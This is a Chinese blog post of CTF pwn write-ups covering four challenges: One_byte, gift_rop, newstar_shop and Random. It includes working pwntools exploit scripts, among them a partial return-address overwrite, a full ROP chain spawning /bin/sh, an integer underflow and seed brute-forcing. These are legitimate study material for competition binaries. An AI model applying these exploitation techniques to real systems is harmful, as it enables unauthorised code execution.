首页 > 其他分享 >杂七杂八wp(NewStar_Week1和BeginCTF2024的部分pwn)

杂七杂八wp(NewStar_Week1和BeginCTF2024的部分pwn)

时间:2024-03-02 11:45:15浏览次数:25  
标签:rsp NewStar mov QWORD pwn main BeginCTF2024 PTR rax

碎碎念

咱就一纯小白,以为带了Begin这一单词的CTF能对我仁慈一点,结果吧,太喜欢了,被狠狠拷打,从头自闭到尾,属于是从这次比赛又狠狠学习到不少知识了
废话不多说,上正文嘞

BeginCTF

One_byte

checksec

image
嗯,基本啥都开了,喜欢捏。但是尊贵的CTFer,该“源审,启动!”了
image
可以看到两个read,一个是从buf里读取1字节"flag"(千万不要跟我一样傻到以为是灌输据的地方,是3不是0),也对应了题目,第二个read能读取0x12个字节,除此之外啥也没了。基于上述保护机制,栈溢出属于是没法用的,那就再找找咯。
找一找就发现问题所在了,"flag"文件一直处于open状态而没有close过,那么要是我们能循环main函数,那么第一个read函数就能一直往后读取"flag"。那么我们的思路就是明了了,将ret地址修改到调用main函数之前。

gdb时间!

image
可以看到main函数的返回地址是__libc_start_call_main + 128,我们只要把它覆盖掉就好,再来反编译它,太长了直接CV

   0x00007ffff7daed10 <+0>: push   rax
   0x00007ffff7daed11 <+1>: pop    rax
   0x00007ffff7daed12 <+2>: sub    rsp,0x98
   0x00007ffff7daed19 <+9>: mov    QWORD PTR [rsp+0x8],rdi
   0x00007ffff7daed1e <+14>:    lea    rdi,[rsp+0x20]
   0x00007ffff7daed23 <+19>:    mov    DWORD PTR [rsp+0x14],esi
   0x00007ffff7daed27 <+23>:    mov    QWORD PTR [rsp+0x18],rdx
   0x00007ffff7daed2c <+28>:    mov    rax,QWORD PTR fs:0x28
   0x00007ffff7daed35 <+37>:    mov    QWORD PTR [rsp+0x88],rax
   0x00007ffff7daed3d <+45>:    xor    eax,eax
   0x00007ffff7daed3f <+47>:    call   0x7ffff7dc71e0 <_setjmp>
   0x00007ffff7daed44 <+52>:    endbr64 
   0x00007ffff7daed48 <+56>:    test   eax,eax
   0x00007ffff7daed4a <+58>:    jne    0x7ffff7daed97 <__libc_start_call_main+135>
   0x00007ffff7daed4c <+60>:    mov    rax,QWORD PTR fs:0x300
   0x00007ffff7daed55 <+69>:    mov    QWORD PTR [rsp+0x68],rax
   0x00007ffff7daed5a <+74>:    mov    rax,QWORD PTR fs:0x2f8
   0x00007ffff7daed63 <+83>:    mov    QWORD PTR [rsp+0x70],rax
   0x00007ffff7daed68 <+88>:    lea    rax,[rsp+0x20]
   0x00007ffff7daed6d <+93>:    mov    QWORD PTR fs:0x300,rax
   0x00007ffff7daed76 <+102>:   mov    rax,QWORD PTR [rip+0x1f023b]        # 0x7ffff7f9efb8
   0x00007ffff7daed7d <+109>:   mov    edi,DWORD PTR [rsp+0x14]
   0x00007ffff7daed81 <+113>:   mov    rsi,QWORD PTR [rsp+0x18]
   0x00007ffff7daed86 <+118>:   mov    rdx,QWORD PTR [rax]
   0x00007ffff7daed89 <+121>:   mov    rax,QWORD PTR [rsp+0x8]
   0x00007ffff7daed8e <+126>:   call   rax
   0x00007ffff7daed90 <+128>:   mov    edi,eax
   0x00007ffff7daed92 <+130>:   call   0x7ffff7dca5f0 <__GI_exit>
   0x00007ffff7daed97 <+135>:   call   0x7ffff7e165f0 <__GI___nptl_deallocate_tsd>
   0x00007ffff7daed9c <+140>:   lock dec DWORD PTR [rip+0x1f0505]        # 0x7ffff7f9f2a8 <__nptl_nthreads>
   0x00007ffff7daeda3 <+147>:   sete   al
   0x00007ffff7daeda6 <+150>:   test   al,al
   0x00007ffff7daeda8 <+152>:   jne    0x7ffff7daedb8 <__libc_start_call_main+168>
   0x00007ffff7daedaa <+154>:   mov    edx,0x3c
   0x00007ffff7daedaf <+159>:   nop
   0x00007ffff7daedb0 <+160>:   xor    edi,edi
   0x00007ffff7daedb2 <+162>:   mov    eax,edx
   0x00007ffff7daedb4 <+164>:   syscall 
   0x00007ffff7daedb6 <+166>:   jmp    0x7ffff7daedb0 <__libc_start_call_main+160>
   0x00007ffff7daedb8 <+168>:   xor    edi,edi
   0x00007ffff7daedba <+170>:   jmp    0x7ffff7daed92 <__libc_start_call_main+130>

我们可以发现,在+126处调用了rax,那么我们使用在它之前的地址就好,也就是mov rax,QWORD PTR [rsp+0x8]这里,它的最低字节地址为89,所以我们使用\x89即可(毕竟libc_start_main一般可是最早调用的函数呢)

payload如下

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = remote('101.32.220.189',30415)
#p = process('./one_byte')
go_back_main = '\x89'
payload = b'a' * 0x11 + b'\x89'
flag = ''
for i in range(50):
    p.recvuntil('Here is your gift:')
    flag += p.recv(1).decode()
    p.recvuntil('Are you satisfied with the result?\n')
    p.sendline(payload)
print(flag)
p.interactive()

感想

最开始做这道题的时候,我是不懂还能劫持main函数的返回地址的,一直思索怎么循环main函数而不解其道,被平时的思维给限制住了,又被PIE保护给吓到了。不过说到底还是见题太少了,其实就是简单栈溢出的一点点变形,把平时ret到system地址变成了libc_start_call_main的地址而已,我太笨了(悲)

gift_rop

checksec

image
开启了NX保护和Canary,再代码审计
image
image

发现这是个静态编译的ELF文件,且能够在data段内找到bin/sh,意味着有大量的rop链可供我们使用,主要思路就是要构造rop链执行bin/sh

ROP链构造

因为太多了我就截图一些关键的
image
image
image
image
image
ROPgadget里的ropchain模块可以快速构造rop链(适用于静态编译),我们只需把后面的add rax 1 ; ret修改成add rax 2 ; ret'add rax 3 ; ret的地址就好,凑到59执行syscall。至于为什么不一直叠add rax 1 ; ret,这是因为main函数里read只能读取512个字节,而一直叠 rax 1会导致字节溢出,没法用syscall调用exceve函数执行bin/sh

payload

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#elf = process('../gift_rop')
elf = remote('101.32.220.189',30432)
from struct import pack

# Padding goes here
p = b''

p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000448077) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000044a4f5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000043d1d0) # xor rax, rax ; ret
p += pack('<Q', 0x000000000044a4f5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401f2f) # pop rdi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000047f20b) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x000000000043d1d0) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471267) # add rax, 2 ; ret
p += pack('<Q', 0x0000000000401ce4) # syscall
elf.sendlineafter(b'checkin problem.\n',b'a'*(0x20 + 0x08) + p)
elf.interactive()

PS:其实用pwntools里提供的rop函数会更加快捷,但是我还并不熟悉它的函数使用效果,所以就用这种比较原始的方法硬叠起来
在getshell后,别忘了用文件重定向exec 1>&0,因为在main函数里close(1)和clsoe(2)关闭了标准输出流和错误输出流,相当于你什么也看不到了,需要重定向标准输出
还有,在本地打是没办法打通的,根据官方wp的说法,pwntools在发现交互的程序标准输出和标准错误输出之后会报[*] Got EOF while reading in interactive,本地是无法成功的

感想

这是我学习以来第一次写静态编译的题,也是我第一次使用ropchain和文件重定向,算是get到了新的姿势。不过我有一个问题,为什么它都溢出了但是Canary没有把它拦下来反而让他继续往后执行了,这也是我一开始做的时候不敢下手的原因

NewSTarCTF Week1

newstar_shop

源审

我就截几张比较关键的图
image
image

image
image
可以看到,提示给的很明显。因为money的数据类型是unsigned int,所以只要把它变为负值,它就会从2^32-1开始减掉,就可以购买shell了。所以现在我们就是要想办法如何把money花完并且欠账,那么我们只需要知道money的初始值并且花掉就好,万幸,初始值是给了的,就是64
image

payload

其实已经差不多了,直接nc随便买个商品然后再去don't try里扣钱,那么我们就是超级大富翁了,就可以购买shell了
如果你真想用脚本那也是有

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = remote('node5.buuoj.cn',28207)
p.sendline(b'1')
p.sendline(b'2')
p.sendline(b'1')
p.sendline(b'1')
p.sendline(b'3')
p.sendline(b'1')
p.sendline(b'3')
p.interactive()

感想

其实算是比较简单的整数溢出题,但是开始的时候我都忘了don't try可以扣钱,还在想着怎么才能成为逆向大富翁,属于是考察细心程度了

Random

代码审计

image
image
题如其名,随机数,也给了后门函数,把command变成$0即可,就是需要动点脑筋

思路

在v6等于v8的情况下,我们要使得v9[v4 %2] == $v3 =-= 0,而v9是个数组,当且仅当v4 % 2 == 1v3 % 5 == 2时,可以得到$0。因为随机数种子为0,所以我们不仅需要获得对应libc,还要进行多次爆破才有可能恰好满足三者的条件

payload

from pwn import *
from ctypes import *
context(arch='amd64', os='linux', log_level='debug')
for i in range(1000):
    p = remote('node5.buuoj.cn',28116)
    mylibc = cdll.LoadLibrary('libc.so.6')
    mylibc.srand(mylibc.time(0))
    try:
        v6 = mylibc.rand()
        v3 = mylibc.rand()
        v4  = mylibc.rand()
        if((v3%5 == 2)and(v4%2 == 1)):
            p.sendline(str(v6))
            p.interactive()
    except:
        continue
    finally:
        p.close()
        sleep(1)

感想

这道题主要考察的就时ctypes库的应用,再稍微动一点点脑筋就可以解出来了。不过好久没用过ctypes里了都有些生疏要上网查如何使用了(悲
想了解ctypes的师傅们看看这位佬的博客~

https://blog.csdn.net/freeking101/article/details/124982244

标签:rsp,NewStar,mov,QWORD,pwn,main,BeginCTF2024,PTR,rax
From: https://www.cnblogs.com/falling-dusk/p/18047791

相关文章

  • [newstarctf2023] --RE wp
    AndroGenshin:rc4加密表,base64换表:脚本梭就行username=b"genshinimpact"base64_table=[125,239,101,151,77,163,163,110,58,230,186,206,84,84,189,193,30,63,104,178,130,211,        164,94,75,16,32,33,193,160,120,......
  • PWN工具使用
    pwn工具checksec--file=文件名gdbdyntext 查看手册r运行程序b下断点clear/delete/d+行号/*地址去除断点n步过s步入info 查看断点信息c 继续执行程序start 停在startp+指针 打印出指向的地址backtrace 查看函数调用栈的操作return 退出正在进行的......
  • NewStarCTF 2023 WEEK2|REVERSE SMC 使用IDApython静态解决SMC
    先来一篇IDApyhotn的指令教程https://www.cnblogs.com/zydt10/p/17676018.html*自己编的这题对应的expa=[0x11,0x22,0x33,0x44]foriinrange(38):result=a[i&3]ida_bytes.patch_byte(0x403040+i,get_wide_byte(0x403040+i)^result)在IDA中运行完exp之后,......
  • PWN学习之格式化字符串及CTF常见利用手法
    格式化字符串的基本漏洞点格式化字符串漏洞是一种常见的安全漏洞类型。它利用了程序中对格式化字符串的处理不当,导致可以读取和修改内存中的任意数据。格式化字符串漏洞通常发生在使用C或类似语言编写的程序中,其中 printf、sprintf、fprintf 等函数用于将数据格式化为字符串......
  • 【pwn】ctfshow元旦水友赛--BadBoy
    首先先来看一下程序的保护情况这里got表可改,没有开地址随机接着看一下ida逻辑很直接,只有一个main函数,一点点分析这段代码buf[1]=__readfsqword(0x28u); init_func(argc,argv,envp); buf[0]='gfedcba'; v5=0LL; while((_DWORD)kl) {  puts("iamba......
  • [pwn]hgame2024 week1 WriteUp
    目录1.EzSignIn2.ezshellcode3.EldenRandomChallenge1.EzSignIn签到题,直接nc2.ezshellcodechecksec,保护全开64位程序丢IDA跟进一下myread函数可以看到会执行写入的内存,但有两个点一是长度限制,可以通过整型溢出绕过,二是myread函数会检查写入的内容,必须为字母或数字看......
  • 【pwn】pwnable_start --只有read和write函数的getshell
    首先查一下程序的保护情况保护全关!!!然后看ida逻辑ida的结果很简洁,只有一段汇编代码,我们再来看看nc情况现在我们来分析一下汇编代码 mov  ecx,esp            ;addr.text:08048089B214            mov  dl......
  • PWN基础环境配置(Ubuntu系统)
    PWN环境配置(Ubuntu系统)如果不清楚从github上下载的工具的使用方法,可以在项目根目录下查看README文档vscode在Ubuntu软件中心下载vscode(记得换成国内源,不会的话去搜索教程)下载之后启动并安装python扩展pip换源(阿里源)pipconfigsetglobal.index-urlhttp://mirrors.aliyu......
  • 【pwn】axb_2019_fmt32 --格式化字符串漏洞进一步利用
    照例检查程序保护情况堆栈不可执行,再导入ida看一下代码逻辑如上图此处代码有格式化字符串漏洞先找出偏移可以发现偏移是8那么我们可以利用printf泄露出libc地址,如何修改printf_got表为system的地址,然后再传入/bin/sh就可以getshellexp:frompwnimport*fromLibcSearc......
  • pwnable_start
    pwnable_startbamuwe@qianenzhao:~$checksecstart[*]'/home/bamuwe/start'Arch:i386-32-littleRELRO:NoRELROStack:NocanaryfoundNX:NXdisabledPIE:NoPIE(0x8048000)保护全关,但不能看伪代码,只能看汇编思路:......